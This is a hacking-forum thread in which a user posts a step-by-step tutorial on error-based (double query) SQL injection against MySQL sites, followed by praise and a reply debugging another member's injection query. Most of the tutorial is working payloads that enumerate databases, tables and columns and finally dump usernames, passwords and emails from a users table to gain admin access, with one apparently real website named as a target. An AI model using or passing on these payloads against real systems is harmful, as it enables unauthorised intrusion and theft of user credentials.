[webb]

This is my first tutorial in HF and I dont know how can write a good one! so sorry me for my bad english

Lets start injection
What you need a vul site like this

Code

www.site.com/artist.php?i=36

At first testing site for vul

Code

www.site.com/artist.php?i=36'

Spoiler (Click to View)we get error
[img]http://img694.imageshack.us/img694/1223/erroryu.png[/img]

Ok lets go inject this

Code

www.site.com/artist.php?i=36 order by 10--  no error
www.site.com/artist.php?i=36 order by 20--  no error
www.site.com/artist.php?i=36 order by 50--  no error
www.site.com/artist.php?i=36 order by 100--    no error

So like string base lest try this

Code

www.site.com/artist.php?i=36' order by 100--+

Spoiler (Click to View)Now we have an error in columns
[img]http://img805.imageshack.us/img805/2240/unknownd.png[/img]

Now going to get columns

Code

www.site.com/artist.php?i=36' order by 10--+    erro

www.site.com/artist.php?i=36' order by 8--+    error
www.site.com/artist.php?i=36' order by 6--+    error
www.site.com/artist.php?i=36' order by 5--+    no error

Ok find number of columns next step it using union to find vul column to inject there

Code

www.site.com/artist.php?i=36' union select 1,2,3,4,5--+

Spoiler (Click to View)As you see

Code

The used SELECT statements have a different number of columns

[img]http://img214.imageshack.us/img214/6503/unionr.png[/img]

So what can we do trying another method like blind lets see it

Code

www.site.com/artist.php?i=36' and 1=1--+    its true not get error from this
www.site.com/artist.php?i=36' and 1=2--+    its false and steal no erro

Whats now?
Are we should give up and find other site?
No,lets try other method called ERROR BASED INJECTION(DOUBLE QUERY)

In this method we use specific syntax for getting data from database

The code we use for getting version,database and aslo user like this

Code

and(select 1 from(select count(*),concat((select (select
concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1

Now trying this syntax in our site

Code

http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+[code]
[spoiler][img]http://img830.imageshack.us/img830/2218/81406053.png[/img]

Notice: We dont have to use this hex

Code

0x7e,0x27

We can use the syntax without them and our code like this

Code

http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select concat(version())) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+

It work fine but there is another problem you should know it.When we erase the hex value from code result of it like
Spoiler (Click to View)[img]http://img263.imageshack.us/img263/652/24262231.png[/img]

As you see we have foregner "1" near version name and it will stay for all our results thus it maybe get confuse some one whoe new start this type of injection.
In this tutorial I write all syntax with hex value.

Tip:If our targer use version 4 and lower than it we can use this syntax for getting version and database name look at this

Code

http://www.kusuri.co.uk/view_product.php?id=242 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+

Spoiler (Click to View)[img]http://img522.imageshack.us/img522/4099/version4l.png[/img]
Dont worry
There is another code for this type of site you can find version and database and user of site the code is like this

Code

or 1 group by concat_ws(0x7e,version(),user(),database(),floor(rand(0)*2)) having min(0) or

Now trying this in site

Code

http://www.kusuri.co.uk/view_product.php?id=242 or 1 group by concat_ws(0x7e,version(),user(),database(),floor(rand(0)*2)) having min(0) or 1--+

Spoiler (Click to View)[img]http://img256.imageshack.us/img256/2317/ve4.png[/img]

As you see in the pic version 4 and we can success to find it

Now we have have version and database and move on to inject our target
Spoiler (Click to View)[img]http://img192.imageshack.us/img192/9302/13063360.png[/img]

For extact how many database exist in site we to use another syntax like this one

Code

and(select 1 from(select count(*),concat((select (select (select
concat(0x7e,0x27,count(schema_name),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables
limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

Check results for our target

Code

http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select
concat(0x7e,0x27,count(schema_name),0x27,0x7e) from information_schema.schemata limit 0,1)) from information_schema.tables
limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+

Spoiler (Click to View)[img]http://img443.imageshack.us/img443/3658/87804024jb.png[/img]

Now with useing this code and replacing in limit we can find all DB

Code

http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select
concat(0x7e,0x27,concat(schema_name),0x27,0x7e) from information_schema.schemata limit 0,1)) from information_schema.tables
limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+

With replece in first limit we can get all requests from DB like this

Code

limit 0,1   for first exicting things  
limit 1,1  for two exicting things
  .
  .
  .  
limit N,1  for N exicting things

For getting tables from database I use this " table_schema=0x{hex-database-name} "
First take a look our picked DB have how many tables?

Code

http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,count(table_name),0x27,0x7e) from information_schema.tables where table_schema=0x{hex-database-name}
0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1--+

Spoiler (Click to View)[img]http://img811.imageshack.us/img811/9757/nober.png[/img]

Code

http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,concat(table_name),0x27,0x7e) from information_schema.tables where table_schema=0x{hex-database-name}
0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1--+

Spoiler (Click to View)[img]http://img829.imageshack.us/img829/7058/tabeo.png[/img]

By giveing a number for firs limit all table are count
I find table name " mass_users " And now we should exratct column name of this table to get gain admin access.

Code

http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,count(column_name),0x27,0x7e) from information_schema.columns where table_schema=0x{hex-database-name} and table_name=0x6d6173735f7573657273
0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1--+

Spoiler (Click to View)[img]http://img442.imageshack.us/img442/2590/21094341.png[/img]

Only have five columns lets get it

Code

http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,concat(column_name),0x27,0x7e) from information_schema.columns where table_schema=0x{hex-database-name} and table_name=0x6d6173735f7573657273
0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1--+

Spoiler (Click to View)[img]img209.imageshack.us/img209/949/userb.png[/img]
[img]http://img856.imageshack.us/img856/143/passy.png[/img]

All column are here

Code

id,username,password,firstname,email

Last step extract the value of this columns

Code

http://www.site.com/artist.php?i=36' and+(select 1 from(select+count(*),concat((select+concat(username,0x3a,password,0x3a,email) from mass_users+limit+0,1),floor(rand(0)*2))x
from information_schema.tables+group by x)a) and 1=1--+

Other reference you can use it

Double_Query/Error_Based
DOUBLE QUERY BASED SQL INJECTION
DOUBLE QUERY SQLI(ERROR BASED BLIND MYSQLI)

Hope it be usefull and my effort is this tutorial be easy to understand!

[-zerocool]

Well nice tutorial webb!!!
Simple and worth.
Thanks for this.

[BeggFoMercy]

Very good TUT very useful for begginers thankies bruh

[Deathmage]

Well done! Good and simple! So all can it will work without programs like SQLiHelper :)

[webb]

Well nice tutorial webb!!!
Simple and worth.
Thanks for this.

Thanks for good feed back

Very good TUT very useful for begginers thankies bruh

Well done! Good and simple! So all can it will work without programs like SQLiHelper :)

Yah man you dont have a tools when you can do it manually

In the end thank for good feedbacks and I appreciate
I hope so this help someone who new start hacking

[Zhen.]

Thanks for the awesome tutorial man!
This will surely help a lot of people facing this common issue.
Keep up the good work

[DD0Sed]

lol "nood friendly"
Anyway great tut

[webb]

Thanks for the awesome tutorial man!
This will surely help a lot of people facing this common issue.
Keep up the good work

Really appreciate zerofreak for your good feedback

lol "nood friendly"
Anyway great tut

Yeh man I sayed my english is crap going to edit it
Any way thanks for good feedback

If any things else tell me to edit it before 1440 get done

[Hooded Robin]

This is a nice tutorial but it should be moved to the SQL injection Attacks Sub-forum where it belongs...

[VipVince]

Can anyone see what is wrong with my query here:

http://site.com/book.php?id=1 and (select 1 from (select count(*),concat((select (select (select distinct concat(table_name) FROM information_schema.tables where table_schema=0x626f6f6b7331 limit 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))xfrom information_schema.tables group by x)a)

Giving me a damn syntax error?

[webb]

This is a nice tutorial but it should be moved to the SQL injection Attacks Sub-forum where it belongs...

Thanks for feedback Hooded Robin I cant move this is there any way I here you

Can anyone see what is wrong with my query here:

http://site.com/book.php?id=1 and (select 1 from (select count(*),concat((select (select (select distinct concat(table_name) FROM information_schema.tables where table_schema=0x626f6f6b7331 limit 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))xfrom information_schema.tables group by x)a)

Giving me a damn syntax error?

As I see you write this "xfrom" and it should be like this " x from "
try this

Code

http://site.com/book.php?id=1 and (select 1 from (select count(*),concat((select (select (select distinct concat(table_name) FROM information_schema.tables where table_schema=0x626f6f6b7331 limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

hope its work

[Sql Ruined My life]

This is one Of the best ERROR BASED Injection tutorial on Hackforums from a Great SQL Injector..
It helped me Alot in understanding this Method and made my concept clear.

HERE IS A BUMP FOR THIS EXCELLENT THREAD

Great Work Webb 🤝 🤝

[webb]

This is one Of the best ERROR BASED Injection tutorial on Hackforums from a Great SQL Injector..
It helped me Alot in understanding this Method and made my concept clear.

HERE IS A BUMP FOR THIS EXCELLENT THREAD

Great Work Webb Black Hat Black Hat

Thanks for good feedback
I'm glad now to can help you I do my best in this tut to be easy for understanding

[mirkops]

Dear I have found with this:
or 1 group by concat_ws(0x7e,version(),user(),database(),floor(rand(0)*2)) having min(0) or

version 4; and how can I follow with the query for find tables..thanks a lot

[webb]

In version 4 you cant you information_schema you should guess all things